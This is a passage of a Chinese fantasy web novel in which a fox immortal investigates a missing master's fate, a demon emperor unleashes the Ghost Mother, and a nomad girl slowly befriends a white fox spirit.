水火道:“还不是?人界出了岔子,您知不知道天仙子又重现人间了?这事按理说这事不归我们这些散修管,但是?隐世和人界就是?拴在一根绳上?的?蚂蚱。隐世就在人界边上?,人界要是?出了什么事,我们隐世也没法独善其身。掌柜的?担忧此事,还不得到处探寻探寻消息。” 蓝倾道:“你们怕魔?” 水火道:“哎哟狐仙大?人,您可?说笑?了,这天底下谁不怕魔啊?十七年前那魔花吸引来多少魔物,害死了隐世多少人?我们多亏了狐仙大?人庇护,才能苟活至今啊。掌柜的?说过,只要狐仙大?人有?事,我们百宝店一定?出手?相助。” 蓝倾道:“我有?一事要问你,人到底有?没有?转世一说?” 第64章 第 64 章 水火道:“转世?这只?是个传言罢了。不?过……” 蓝倾道:“不?过什么?” 水火道:“您知道神域吗?” 蓝倾道:“传说中上古诸神所住的地方。” 水火道:“对!传说之中自从天地分?开, 清气上升,浊气下沉,就有了多方天地。万物生灵居住其中,逐渐分?出人?、兽、妖、鬼、魔。再然后?, 人?之中有天资者, 通天道, 修成正果, 世上便多了仙, 也就是如今的仙界。但魔率领群恶残害人?,引发人?界战争不?断,上古诸神爱惜人?,便几乎将魔消灭殆尽,但人?和?仙界之间纷争依然不?止, 上古诸神倍感疲倦,便创建了神域,神域大门一关,诸神们再不?管人?界与仙界之事。” 蓝倾道:“你想说这世上真的有神?” 水火道:“这事我真不?敢妄言。狐仙大人?,我们和?您不?同, 您活得久, 这有没有神, 您比我们清楚。只?是现在?人?界大多已不?拜神求佛,有事便供上香炉求各大仙门出手, 这上古诸神的姓氏来历就快要失传了。” 他手腕一转,嘴里念念有词,空气中浮现了一副残破的画卷。 那画卷名为《神出》, 数千位神明齐飞,神光在?他们身后?照耀, 姓名都浮现在?上面。但这副画作是残卷,有一大半不?见了。可是,光是残卷就已经足够让人?震撼。 蓝倾道:“如果要求问人?的转世,该是哪位神仙?” 水火道:“此事我也不?敢乱说。但我听?说,如果能进神域,便可亲眼见到上古诸神,这其中任何一位都神力巨大,当面求问或许能成。” 蓝倾道:“你的意思是我得修道成仙,才能入神域?” 水火道:“这是其一,还?有其二。” 蓝倾道:“什么意思?” 水火道:“传说往日上古诸神离开人?界的时候,在?人?界遗留下一些神物,那些神物是进入神域的钥匙。” 蓝倾道:“当真?” 水火道:“狐仙大人?您经常呆在?山里,殊不?知仙界都在?偷偷摸摸寻找那些神物呢!” “他们找到了?” 水火道:“这倒没有,不?过据说已有了些神物的踪迹。” 蓝倾道:“你们掌柜就是为了这事出去的?” 水火干巴巴一笑,眼神躲闪,道:“不?是。” “恩?” 水火抱拳道:“狐仙大人?,不?敢隐瞒您,我们掌柜的就是为了此事去的。眼看人?界说不?定又?再遭遇十七年前那场劫难,我们也没有办法,只?能出此下策,给?自己找点活路。” “上古诸神在?世上早无痕迹,神物更是传说中虚无缥缈的东西。相比之下,仙界难道不?是更可靠些?”蓝倾挥起团扇,缓缓地扇着。 水火不?知道回忆起什么,冷笑道:“仙界怕是管不?过来这么多事。” 团扇一顿,蓝倾道:“你可有见过千霄宫万剑峰大弟子云庭?” 水火道:“是手中拿着一把银白剑的那位弟子?他与另一位眉清目秀的弟子刚刚才来过。” 蓝倾狐狸耳朵一动?,道:“不?用让你们掌柜的回来了。我要去人?界走走。” 他转过身,正要推门而?出。 水火道:“大人?,如果人?真有转世,恐怕也难再记起前世之事。” 蓝倾顿步,走了出去。 没一会儿,百宝店的大门又?轻轻合上了。 水火叹息一声。 蓝倾很快追上了云庭和?路一剑。他们二人?正逢被?鬼邪缠身。 云庭和?路一剑正背靠着背,他们手中执剑,像正提防着什么怪物似的,张望四周。 突然一声尖啸声从四面八方而?来。 云庭提剑直上,剑招凌厉,招招致命,深入草丛之中,身影极快,围着路一剑绕了一周。 路一剑看见漫天杂草和?魔气交缠,自己所在?之处变得空旷。 一道银白剑光划过,地面流出一大摊黑色污血,云庭的身影也跟着落地。 蓝倾拍掌道:“好身手啊。” 路一剑道:“蓝倾师兄,你怎么来了!” 蓝倾道:“自然是想念我的逍遥酿了。” 路一剑立马捂住自己腰间的酒壶,道:“我可没有了啊!” 云庭侧过身,道:“你来所为何事?” 蓝倾道:“你们是为什么来的,我就是为什么来的。” 云庭侧目,眼见二人?悄悄打着谜语,路一剑道:“蓝倾师兄,自从那鬼皇帝自封为凌恒魔君之后?,人?界内什么妖魔鬼怪都跑出来了,我们一路上遇见不?少。玉坤山是派你来除魔的吗?” 云庭提醒道:“一剑。” 路一剑立马住了嘴。 蓝倾道:“看来你们二人是偷偷跑出来的,人?界混乱如此,你那师父就没什么表态?”他一副好暇以待的姿态,让路一剑莫名觉得他的语气里有种讽刺。 云庭道:“蓝倾,休要胡言。” 蓝倾摇了摇那把仕女扇,悠哉道:“我不?捉弄你们了。云庭,我来是想问你几句,你门中可有叫孟慕华的人??” 云庭道:“孟芷在你那儿?” 蓝倾道:“是。” 云庭道:“没有。” 蓝倾道:“她与你千霄宫是旧识,你门中竟没有人?认识她?慢着,我想想,依照她的年龄,你师父可认得孟慕华?” 云庭倾身,道:“你休要欺人?太甚!我师父向?来光明磊落,如果那散修在?我门中,我们又?有什么好隐藏的?” 蓝倾道:“此言有理。那孟慕华身世坎坷,早年全家葬身饥荒,她一可怜孤儿,四处流浪乞讨,遇见了一个仙门子弟后?修得了一身法术。她徒儿也没必要刻意污蔑千霄宫不?是?我听?闻孟慕华早年遇见那人?名唤无真。” 云庭道:“我从未听?说过无真这个名字。” 路一剑道:“我也没有听?说过。蓝倾师兄,千霄宫那么多弟子,就算按年龄来算,如此年龄的弟子也早已做到长老之位,长老我都认识,就是没有一个叫无真的,你说的这人?该不?会早就逃出门中了吧。” 蓝倾道:“你们七位峰主里就没有一个叫无真的?” 路一剑道:“蓝倾师兄你这就耍无赖了,我们千霄宫七位峰主德高望重,不?要随便污蔑人?啊!” 云庭道:“不?要和?他再纠缠下去,一剑,我们走。” 他跨步越过了蓝倾,路一剑见状立马跟了上去,不?忘道:“蓝倾师兄,告辞!” 蓝倾看着二人?远去的背影。 他摇了摇团扇,道:“无真,真的假不?了,假的真的不?了,无真,假也!” 赢破枕着额头,听?樊鸣带着几位仙师来报。 他开口道:“你们的意思是,孟芷被?千霄宫的人?抓住了?而?你们不?敌千霄宫的人?,真是一群废物。” 樊鸣道:“陛下,千霄宫是修仙界第?一仙门,座下有数万弟子,我们力量悬殊,还?望陛下赐教。” 赢破道:“钱喜,你认为如何?” 钱喜站在?他身侧,恭敬道:“陛下可还?记得鬼母?” 赢破想起之前被?孟枝枝诓骗,让他将鬼母封印了回去,他双手撑在?膝盖上,眼中精光乍现,道:“那就将鬼母请出。” 樊鸣道:“陛下,鬼母邪恶,鬼孩一出世,就会无止尽地杀人?,那这城中的百姓就危险了!还?望陛下收回成命。” 赢破从龙椅上弹起,一脚将樊鸣踩到在?地,他用脚死死踩住樊鸣的心窝,道:“你还?会顾及这城中百姓?不?自量力。” 樊鸣嘴角流出鲜血道:“陛下,臣只?是想活命,如今您力量强大,何不?征召一批邪魔将领?” 几位仙师见状,立马道:“对啊,若将鬼母放出,鬼母性情?肆虐,到时脱离陛下掌控,反倒得不?偿失。陛下还?不?知,最近皇都周围出现了许多邪魔妖怪,要是陛下能将它们收复,才是良策。” 钱喜道:“陛下,我有法子使那鬼母听?话。城外那些邪魔不?知底细,收复困难重重。这孟芷在?千霄宫手中,一般邪魔怎么能对付得了?” 赢破视线转移到钱喜身上,他嘴角翘起,道:“头一次,看你如此焦急。那鬼母和?你有什么渊源?” 钱喜道:“不?敢瞒陛下,那鬼母与我确实有渊源。” 樊鸣盯着钱喜,目光如炬。胸上的力量一轻,他撑起身体,几位仙师连忙将他扶起。 赢破道:“你们既然说了这收复邪魔的计策,那就由你们来办。” 几位仙师吓得,道:“陛下,这……” 赢破恩了一声,道:“怎么?办不?到吗?办不?到就给?孤去死。” 几位仙师立马不?敢说话了。 樊鸣道:“臣请命,愿意献出府中所有仙师,为陛下征召邪魔大军。” 赢破道:“你倒是真想活命。” 樊鸣抱拳,垂下头。 赢破道:“那孤暂且留你一命,做得好,孤就不?杀你了。退下吧。” 樊鸣在?几位仙师的搀扶下退去。 赢破转而?对钱喜道:“那鬼母与你有什么渊源?” 魇灵道:“鬼母乃是我妻。” 赢破宛如听?到了什么笑话,笑得抱腹,道:“你竟然还?有妻子?” 魇灵不?惧他笑话,道:“陛下,世人?都言我鬼族向?来自相残杀,那是他们不?知道,鬼族之中也有夫妻、姐妹、兄弟。她被?修士封印了一千年,十七年前修士入宫,我想救她,却被?千霄宫的人?抓住,幸而?遇到陛下。” 赢破脸上变得肃穆,道:“你说她是你的妻子,你却为了我入魔杀了她的鬼孩?” 魇灵笑得几分?邪恶,道:“杀了鬼孩又?如何?就算我不?杀,她也会将鬼孩吃掉,鬼母食子是天性。当初我寻遍天下邪鬼,知道鬼王可以破除她的封印,便以鬼王苍玥马首是瞻,谁知道那鬼王苍玥想诞子,又?以我妻食子为由,见死不?救。谁能想到兜兜转转,有了陛下你,你的力量无与伦比,你将会成为有史以来最厉害的魔君。” 第65章 第 65 章 赢破躺回龙椅之上, 一只脚落地,眉眼惺忪,眼神轻瞥道?:“你对鬼母倒是情深意?重。只是不知道?如?果她死了,你愿不愿意?跟她一块去?死。” 魇灵道?:“陛下?!” 赢破起身道?:“你一直以来不是央求我将你捉来的鬼邪吃掉, 这样可以功力大增。鬼母生存数千年, 吃了她比吃了其他普通鬼邪更有用。还是说你更愿意?我先吃了你?” 魇灵眼睛滴溜溜地转, 他思索道?:“陛下?如?果要吃了鬼母也成, 鬼母乃天鬼, 天鬼之力,就连修士也无法将其彻底击败,如?果能食下?鬼母,天下?无人能敌陛下?。” 赢破不由?耻笑道?:“这就是你对鬼母的爱?” 魇灵道?:“爱人便?要因为?她而死?这实在太蠢了,陛下?别将我鬼族与?人相比。” 赢破道?:“的确愚蠢, 不过就算是为?爱而死,许多人也做不到。爱,不过如?此。” 他想起,孟芷说他不懂爱,什么都不懂。他觉得孟芷才是那?个异类, 天下?生物皆求活, 情爱之事不过是为?了繁衍后代的借口?。无论何种?生物都逃不过欲望纠缠, 这是天性。人却将欲望说得如?此冠冕堂皇,实在下?贱。 一想到孟芷逃离了他身边, 他那?双眸子就如?黑雾一般深沉。 魇灵道?:“陛下?英明。” 赢破道?:“仙门之人不是自诩高?高?在上?待孤放出鬼母,让鬼孩侵入仙界,你说他们会不会亲自来拜见孤?”他嘴角露出一个残忍的笑容。 圆月逐渐染上血红, 就像被天狗吞噬。城中无数鬼影攀爬,向天际聚拢。 “大师兄, 鬼母封印解除了!鬼邪正往四处散去?,它们去?的地方?是……修仙界!”路一剑拿出浑天仪,上面群星混乱,预示着糟糕的局面。 云庭瞳仁一缩,道?:“加快脚步,斩杀鬼母。” 路一剑道?:“大师兄,你冷静点,那?鬼母定是那?凌恒魔君放出来的,如?果修仙界被群邪围攻,我们是不是要赶回去?支援?” 云庭道?:“鬼母现在在何处?” 路一剑指向那?浑天仪,浑天仪球体飞转,一处星光闪烁,道?:“在隐世附近。鬼母刚破除封印,饥饿难耐,一定会吸食血肉。” 云庭道?:“去?隐世!” 定风坡上,孟枝枝察觉邪气在接近,自从?她食用过赢破的血之后,她对邪气更为?敏感。 她将古树周围封出一道?结界,出了洞,就看见一只鬼孩咬住麋鹿的颈项,满嘴鲜血。 她立马拉起金弓,捏决射箭,将那?鬼孩一瞬射死。 冥漆赶了过来,见此状道?:“定风坡上怎么会出现鬼邪?” 孟枝枝道?:“是鬼母的封印解开了,赢破难道?想驱使鬼母攻打修仙界?” 冥漆道?:“那?可怎么办?蓝倾大人还没回来,这山中并无其他的妖修。” 孟枝枝眼神坚决,道?:“我会守住定风坡。” 一批又一批的鬼物朝定风坡侵袭而来,等蓝倾赶回来之际,就看见孟枝枝脸上溅满污血,她刚刚从?一只鬼物身上插入金箭。 她双脚不稳,脱力地向后一倒。 蓝倾扶住了她,将掌心放在她的额头?处。 孟枝枝艰难开口?道?:“我无事,只是没有力气了。鬼母封印解除,修仙界怕是有难。” 蓝倾道?:“你师父的事,我已经查明,我信你。” 孟枝枝眼中碎光浮动。 蓝倾道?:“你为?什么不带着他们两个逃跑?” 孟枝枝道?:“你收留了我,也帮了我和他们,我没什么能回报给你,能做的只有这些。谢谢你愿意?相信我。” 蓝倾道?:“你替我守住了定风坡,守住了古树,是我该谢谢你。” 她在蓝倾的施法下?缓过一口?气,能够站起身来。 蓝倾将扇子往外挥去?,开启了护山大阵。整座山的树没有规律地移动着,无数花瓣四处飘落,看着勃勃生机,却暗含杀气。 如?此大手?笔的护山大阵,孟枝枝第一次见,她察觉到蓝倾的身份可能比她想象得还要高?。 蓝倾道?:“你有没有找过你师父的灵魂?” 孟枝枝道?:“我找云庭借用过招魂伞,进入了魂河之中,师父的灵魂没有任何反应,师父或许故意?屏蔽我,让我找不到她的足迹。” 蓝倾道?:“你有没有想过,你师父的灵魂可能被封印了?” 孟枝枝灵光乍现,灵魂如果被封印这么久,那?肉身一定早已腐败。 千纸鹤一直在皇宫徘徊,难道?指的是师父的尸体在皇宫里? 她一口鲜血喷了出来。 蓝倾道:“你这是急火攻心。” 孟枝枝将护她剑拿了出来,道?:“这是师父曾经为?我铸的剑,狐仙前辈求你帮我找找师父。” 蓝倾一看那?破烂的剑身,就察觉不对,他弹出蓝色火焰焚烧了剑身,却被剑身反弹了回来。 “这剑上有禁制!” 他现出狐眼,圆圈在眼眶中旋转,九条白色的巨尾从?他身后露出,向四处延伸开。 原本破损的护她剑在狐影的照耀下?,剑身逐渐裂开,巨大的光从?中迸发?出来,碎片四处散开。 一道?灵魂骤然出现,她长着和孟慕华一模一样的面容。 孟枝枝向前一抓,道?:“师父!” 剑灵从?沉睡中苏醒过来,轻轻抚摸着她的头?发?。 蓝倾道?:“她不是你师父,是剑灵。看来是你师父献祭了血肉为?你铸成了这把剑。” 孟枝枝失声痛哭,道?:“你想告诉我,我师父早就死了?不可能!这把剑是我十岁那?年,师父为?我铸成的!在那?之后,师父都陪在我身旁,她还活着。” 蓝倾道?:“你清醒一点,这剑上布了禁制。你师父宁愿让这剑威力减弱,也不让剑灵轻易现身,目的就是不想让你这么快知道?她为?你祭剑。你说你师父一直陪在你身旁,想来是用了幻术。” 孟枝枝紧紧抱着护她剑,道?:“师父是真是假,我怎么可能弄不清楚,那?些日日夜夜陪伴在我身边的时光不是假的,绝不可能是幻术!” 蓝倾道?:“那?就是傀儡术。天下?之中,有傀儡师能打造与?肉身无异无异的身体,只是傀儡终究是傀儡,灵魂附在上面不能长久。能有这般技巧的傀儡师世间少有。” 孟枝枝陡然想起了净念道?师,这世上能将傀儡术施展得如?此出神入化的,除了净念,她再也想不出其他人。 难道?师父与?他做了什么交易,让净念道?师打造了和师父面容一样的傀儡?可净念道?师已经命丧她之手?,她怎么从?死人口?中得出师父的下?落? 孟枝枝难以接受这个事实。 她看着剑灵那?张与?师父长得一模一样的脸,心中悲痛万分,她伸出手?想要抚摸剑灵的脸。 剑灵握住了她的指尖,她在孟枝枝的手?下?写道?——不要伤心了,我心疼。 孟枝枝眼泪掉落,道?:“师父,我对不起你。枝枝不孝。” 蓝倾眼中不忍,道?:“你手?中的白玉如?意?来自千霄宫的贤剑真君之手?。贤剑真君有两柄玉如?意?,一柄白色,一柄绿色。你从?哪里得来?” 孟枝枝道?:“从?净念道?师手?中拿来的。听路一剑说,净念道?师是从?千霄宫逃出来的人,这东西或许是他偷来的。当日净念要杀我们,我和小桃仙、冥漆还有赢破一起杀了他。” 蓝倾道?:“这净念道?师也认识你师父?” 孟枝枝点点头?,“狐仙前辈,刚刚你说我师父的灵魂有可能被人封印起来,对吗?” 他看着她那?双哀伤又满含期待的眼睛,道?:“是。” 孟枝枝道?:“我知道?了。等小桃仙苏醒过来,届时我就会离开,还希望狐仙前辈照顾小桃仙和冥漆一二,孟芷感激不尽。” 她收回护她剑,背身离去?。 蓝倾注视着她的背影。 孟枝枝来到了山洞之中,坐在了古树旁,对小桃仙讲起了话。 “师父没有抛弃我,她一直都很爱我。小桃仙,是我错了,我怎么能有过怀疑,怀疑师父真的不要我了。我一定会找到师父,跟她认错道?歉。” 她擦了擦眼角的泪,将灵力输送进了古树里,滋养着小桃仙。 大树四周围绕微弱的蓝光。 汪汪俯身,幼牙还没有张全,却冲羊群发?出低吼。羊群被赶到一条道?上,紧接着就乖乖地去?小溪边喝水。 “汪汪,过来。”小希呼唤着它。 汪汪尾巴摇得跟螺旋桨一样,飞快跑到小希身边。 她摸着它的头?道?:“做得越来越好了!” 汪汪围在她身边蹦来蹦去?,在原地打了个转,发?出清脆的汪汪声。 她坐下?来,拿着带出来的干粮,掰成两半,一半丢给了汪汪,自己吃着另一半。 不一会儿,从?羊群里走出来一只白色狐狸。 小希再次看见它,眼睛都移不开。它长得太漂亮了,白色的毛看起来柔顺又仙气,一双眼睛仿佛有灵性,静静地看着他们。 它呆在羊群里,羊儿也没有骚动,说明羊儿都知道?它不会伤害它们。 她轻轻呼喊:“小狐狸。” 她又嘬嘬嘬地召唤,像呼唤汪汪那?样。 她将自己的干粮又分出一块,丢了出去?。 白色狐狸甩了一下?尾巴,卧在一颗石头?上,干粮掉落在石头?下?,它一眼都不看。 小希道?:“对呀,你是狐狸,是吃肉的。等我给你捉小鱼。” 小希脱下?鞋袜,将裤子高?高?挽起,少女纤细的小腿在水中摆动。她弯着腰,手?伸向溪水里,一会儿闹出动静,折腾了半天,她惊叫道?:“我抓到了!” 她的脸被溪水打湿,湿发?粘在脸庞,她慢慢地靠近着白色狐狸,双手?将小鱼捧了上去?。 白色狐狸闻了闻,用尾巴遮住了口?鼻。 小希道?:“你不吃鱼吗?”语气有些失落。 汪汪这时候跑来,眼巴巴地看着她手?中的小鱼。 小希笑起来道?:“馋嘴小狗。” 她将鱼丢了出去?,一瞬间,一道?白影闪过,白色狐狸口?中叼住了那?只鱼,气得汪汪原地乱转。 白色狐狸瞥了她一眼,四脚一跳,跳到了小溪对岸,将鱼吃进了肚子里。汪汪想抢鱼,又怕脚下?的溪水,一直冲着它狂吠。 小希心中欢喜,她抚摸着汪汪,又给它捉了只小鱼,汪汪才心满意?足地吃了起来。 太阳就要落山,小希冲它挥了挥手?,道?:“我要走了,下?次再给你带吃的!” 白色狐狸远看着放羊的少女和小狗赶着羊群回去?了。 小希这夜睡不着,脑子里一直想着那?只白色狐狸。她看见帐篷里的族人睡得很熟,悄悄地起身,走到灵树下?方?。 她向灵树默默地讲着心事。 伸婆这时呼唤她,“小希。” 小希站起身来,道?:“奶奶,天气这么冷,您怎么还没有睡?” 伸婆道?:“年龄大了,就没有那?么多觉了。你又偷偷溜出来看灵树了。” 小希靠在她的膝头?,道?:“奶奶,我喜欢这个地方?,以后我们能长期留在这个地方?吗?” 伸婆道?:“希望能如?此。” 小希不解道?:“您在担忧什么?” 伸婆道?:“小希,你知道?为?什么我们游牧一族经常搬迁吗?” 小希道?:“因为?小羊吃草,要吃很多,所?以要经常搬迁,免得把小羊草吃光了,这样草原上其他动物就没有家了。” 伸婆道?:“这是原因之一。” 小希道?:“奶奶,您还在担心其他氏族的人会来进犯吗?” 伸婆道?:“人心贪婪,不得不防。小希,你现在长大了,要懂得这个道?理。” 小希道?:“可是天下?之大,为?什么其他氏族的人不能好好在一处生活呢?如?果他们也像我们一样能够坚持耕种?养羊,也可以生存下?去?。但是为?什么他们总是想抢别人的?” 伸婆道?:“兰族一向崇尚和平,我们从?不曾觊觎他人,靠大自然的馈赠,我们迎来丰收,迎来新的生命。其他氏族他们看到我们生活得好,就想不劳而获,想要得到我们的财富,侵略和战争就是这样来的。” 小希道?:“山神大人会惩罚他们的。” 伸婆道?:“大自然对每个生命都是平等的,我们已经获得了太多馈赠,接下?来都要靠我们自己。” 小希道?:“奶奶,我会保护好族人还有小羊、汪汪他们。” 伸婆道?:“奶奶唯一的心愿是希望小希健康长大,每一天都高?高?兴兴的。” 小希撒娇道?:“奶奶。” 她在奶奶怀里撒了会儿娇,不知不觉也睡了过去?。 伸婆看着她苹果似的红彤彤的脸颊,疼爱之心油然而生。 她看着灵树,叹了口?气,心中默默祈祷着一切都能顺遂。 小希又出来放羊了,汪汪一天长得比一天大。她总是能发?现白色狐狸在哪里,每次都会为?它带来一些肉,有时候是小鱼,有时候是野鸡、野兔,它都接受了。 可是,白色狐狸还是不亲她。它总卧在离他们不远的地方?,偶尔升个懒腰,打个哈欠,神色惫懒。 小希经常回头?看它,这样的生活她已经习惯。 这样过去?了三年,小希变成了一个大姑娘,她十六岁了。兰族偶尔和从?外而来的卖货郎交易,用羊崽换来针线和其他一些日用品。 她放羊的时候,就拿出针线在绣东西。汪汪已经长成了一头?英俊的牧羊犬,整日赶完羊,就在附近玩耍。 小希抬起头?,看汪汪在水里自己捉鱼,甩动着自己湿掉的毛发?。再一转移视线,就看见白色狐狸还卧在石头?上睡觉。 她咬断了手?中的线,一张帕巾就完成了,上面锈了一只白色狐狸。 她悄悄走近白狐,将帕巾挽成圈,套在了它的脖子上。 白狐从?睡梦中惊醒,对她呲牙咧嘴,汪汪立马跑来,眼见着就要咬上去?。 小希抱住汪汪的头?,道?:“汪汪,别。” 她转而对白狐道?:“对不起,我只是想给你一个惊喜,那?是我第一次锈的,希望你能喜欢。” 白狐冲他们嘶吼一声,一溜烟跑掉了。 小希心中觉得内疚,她是不是吓着小狐狸了,下?次她给它带好吃的赔罪吧。 然而,第二天、第三天……一连好几天,她都没有看见小狐狸。 她落寞地赶着羊,眼睛四处找着白狐的踪迹。 忽然草丛里一阵呻吟传来,“救、救命。” 小希吓了一跳,她看见一个羌族男子躺在草丛里,腹部有伤,身体无法动弹。 她心中恐惧袭来,怎么会有羌族人在这里? 他看见了她,急迫道?:“姑娘,救救我,我快死了。” 小希警惕地看着他,道?:“你们怎么会来这里?” 三年了,她还没有忘记当日兰族被迫搬离家园就是因为?羌族来犯。 那?位羌族男子道?:“我叫代戈,你救了我,我的族人会感谢你。” 小希道?:“我不信你们羌族人,你们只会说谎话。” 羌族男子辩解道?:“不会,我是羌族下?一任族长,一诺千金,我以山神大人的名义发?誓。” 见小希不松口?,他改口?道?:“求你给我点水喝吧,我快渴死了。” 小希几经犹豫,还是将带的水囊拿了出来,喂了他一些水后,又立马拉开了距离。 代戈喝了点水,仿佛回复了点精神,道?:“你叫什么名字?” 小希没有搭理他,带着羊群径直离开了此地。一回到族里,她就将这件事告诉了伸婆。 这天夜里,伸婆召集族长,还有一些德高?望重的族人商议此事。 小希在帐篷外心中忐忑,难道?他们又失去?了栖息之地吗?羌族人野蛮又崇尚武力,如?果他们来了,会不会捉住小狐狸呢? 她突然很想找到小狐狸。 商谈结束后,伸婆告诉小希,让她这些日子就不要出去?放羊了,就呆在族里。 小希道?:“奶奶,就不能把他们赶跑吗?我也可以拿起武器战斗。” 伸婆道?:“孩子,羌族人没有进犯,我们不能主动挑起战争。” 小希道?:“可是他们曾经打过我们,我们不能再信任他们。” 伸婆似是疲惫,道?:“小希。” 小希心疼伸婆,她越长大,伸婆就越年迈。奶奶的身体也越来越不好了,她不想再让奶奶操心。 她道?:“奶奶,我知道?了。明天我想去?找小狐狸,可以吗?” 伸婆道?:“你自己小心山路,晚上要回来。” 小希道?:“恩。” 第二日,小希背上背篓,想要去?找小狐狸,她这次没有带上汪汪,生怕这次汪汪吓走小狐狸。 不知道?走了多久,她突然看见了一只被捕兽夹捆住的赤色狐狸,赤色狐狸一看来的是人,对她凶相毕露。 她心中暗恨,一定是羌族人放的,不知道?小狐狸有没有被他们捉住。 她壮着胆子,拉开兽夹,将赤色狐狸放走,赤色狐狸在她手?中狠狠咬了一口?,就逃走了。 她揣着担忧的心,四处寻找,突然看见白色的影子一闪而过。 她大喊道?:“小狐狸!” 那?白色的影子停下?,它转过头?来看着她,它一看见她,浑身的血肉都紧绷起来,像是随时要攻击过来。 她惊喜万分,道?:“小狐狸,你真的没事!” 她前进一步,白狐就后退两步。 她没想到,小狐狸已经不信任她了。 她心中强忍着酸涩,道?:“羌族人来了,他们很坏,你要小心,不要出来轻易见人。” 她嘱咐完这些,将背篓放在了地上,那?是她带给它赔罪的礼物,里面都是她捕的鱼。 她道?:“天色不早,我要走了。再见,小狐狸。” 她恋恋不舍地看了它最后一眼,就往回走。 第66章 第 66 章 赶回来的路上, 小希才发现天色已?经这?么晚了。 视线都有些看不清,然?而?这?种情况越来越严重。 她匆匆地赶路,和时间赛跑。她一路小跑,没有看见一颗凸出来的尖石, 脚被绊了一下, 她抱着脑袋, 不断往下滚, 身上像被来自四面八方的棒棍击打了一样, 疼得她胸肺窒息。 她以为自己要死了,突然?有人抱住了她。 旋转终于停止,她下意?识紧紧抓住救命稻草。 她被带离了山丘,被放到一处溪流边,月亮和萤火虫照亮了四周。 小希睁开眼睛, 看见一个人站在她跟前。 她看见是一个俊美的男人,他冷冷地看着她,蹲下身,扯下手腕上的帕巾,将她手中的伤口包裹住。 她看得清清楚楚, 那?帕巾是她送给小狐狸的, 上面蹩脚的针线, 出自她的手,这?点不可能错。 她轻唤了一声, “小狐狸?” 他手一顿,站起身来,道:“吾乃狐仙大人, 人类,你休得那?样称呼本大人。” 小希双唇微张, 道:“我、我叫小希。” 白狐嫌弃地看着她,真?是个笨丫头。 他道:“吾问了你名字吗?” 小希道:“小狐……狐仙大人,您就是山神大人吗?是您一直在守护我们?吗?” 白狐道:“你们?人类入侵吾的领地,伤害了吾的同族,吾为何要守护你们??” 小希道:“那?些捕兽夹不是我们?放的,是羌族人。” 白狐脸色变得凶狠,道:“吾不管是谁,你们?人类向来狡诈奸猾,滚出吾的领地,不要再来,否则吾将你们?通通都吃了。” 小希害怕地往后一缩,道:“对不起,是我们?给山林带来了灾难。但是我们?只是想找个家安顿下来,我很?喜欢这?里,很?喜欢小狐狸。” 白狐道:“休得再叫!” 他被愤怒包裹着,身后伸出九条尾巴,“你们?占领此地,就认为此地是你们?的家?人类果然?贪婪自大。” 小希道:“不是的。我们?一直敬仰着山神,我知道我们?的一切都是大自然?馈赠给我们?,兰族一直都很?感恩,从来不敢觊觎。” 白狐道:“人类也会感恩?”他宛如?听到了天大的笑?话。 他凝视她,眼中全是不屑,甚至还带着浓浓的仇恨,似乎她再说出什么“大逆不道”的话,他就会说出更狠的话相对。 他耳朵一动,像是寻到了什么声音。 小希也闻到了一丝味道,目光随即望了过去,看见山林另一头冒出了点点火光,白烟升腾。 她心中预感不妙,忍着疼痛站起身来,道:“我一定会守护好这?个地方,不管你信不信。” 她一步一步向外走。 白狐没有拦着她,化作一只白色狐狸躲回了山林里。 小希赶回族内,就见族人都去灭山火了,不时有人回到集雨缸处取水。 一个七八岁的男童吃力地拿起一个装满水的瓮,小希立马接了过去。 “小希姐姐!” 小希道:“快去躲好,不要受伤。” 她落下简单几?字后,立马冲着火源奔去。火烧得太茂盛了,族人们?淋这?点水,宛如?杯水车薪。 族长和几?个族人正?商议着,没人注意?。小希将自己淋得全湿,将帕巾扯下捂住口鼻,弯腰冲进了火海中。 “小希!” “小希!!” 小希心知自己要找到火路,将火路断掉,她捡起树枝,一边用脚踩踏烧外围烧起来的草皮,一边用树枝敲打灌木。 身后突然?赶来了不少族人,他们?也同小希一样,全身湿透,口鼻用湿了的帕巾捂住,每个人都在断火路。 彻夜不眠,当天空出现第一缕阳光,山林只剩下寥寥余烟。 伸婆坐在小希的床头,用湿帕子?给她擦拭,不时往她嘴里灌糖水。 小希醒来的第一时间,她问道:“火灭了吗?” 伸婆心疼道:“你这?个傻孩子?。放心,火灭了,山林保住了。” 小希松了口气,对伸婆露出一个笑?容,声音虚弱道:“奶奶,太好了。” 事后,小希听伸婆和族长在谈论山火为什么会发生,最后得出结论,或许是乌鸦衔了未燃尽的火枝去做窝,才引发了此次灾难。 小希心里有些内疚。 他们?的存在,真?的给山林带来了灾难吗? 她背着背篓,又去上次遇到小狐狸的地方寻他。 一群赤色狐狸都对她虎视眈眈,似乎她再前进一步,就要猛攻上来。 小狐狸不想见到她。 她将背篓放下,什么也没说,就离开了。 一连多日,她总去那?个地方,每次都是带了一背篓的小鱼,送完就回来,从不间断。 白狐蹲在地上,抓起背篓里的小鱼,将它们全喂给了同族。 白狐道:“你们?说,她这?样做是为了什么?” 赤色狐狸围在他身边,发出嘤嘤的叫声。它们有的摊开肚皮,似乎就想让白狐摸一摸。 白狐少见地露出笑?容,道:“瞅瞅你们?这?蠢样子?,真?给狐狸丢脸。” 嘴上这?么说,手却还是摸向了一个个白色的肚皮。 小希放羊的时候,就经常看见一些赤色狐狸出现,她也不驱赶它们?,经常下溪水摸小鱼喂给它们?吃。一来二去,有的狐狸大着胆子?,冲她露出了白色的肚皮。 小希笑?了,道:“你们?真?的好可爱啊。” 狐狸轻咬她的手,跟她玩闹。汪汪吃醋,也赶了过来,一屁股坐在了狐狸脸上,冲着小希撒娇。 小希道:“汪汪,不能欺负别?的动物?!” 她抚摸着它的头,脸上是幸福在洋溢。 某天夜里,小希独自对着灵树倾诉。 她睁开眼睛,就见白狐化为人形依靠着灵树,注视着她。 小希一时忘记了说话。 她站起身来,呆呆地看着他。 白狐道:“别?再送鱼来,你这?样会毁了它们?狩猎的能力。” 小希脸红道:“对不起,我没有考虑到,我只是想对它们?好一点。” 她又从怀里拿出一个布包,布包里装着香甜的饴糖,道:“你吃吗?” 白狐几?分嫌弃道:“吾不要。” 小希噢了一声,掰了一小块塞进了自己嘴里。 白狐转身要走。 小希道:“你能原谅我们?吗?” 白狐转过身,道:“吾不会原谅人类。” 小希脸上变得沮丧。 白狐道:“你能保护好山林?” 小希坚定道:“我能,我会用我的性命去守护山林。” 白狐道:“你最好记得你说过的话,吾会一直盯着你们?。” 它转身化为一缕白烟。 小希心中久久回味,他是不是同意?了他们?呆在山林里了? 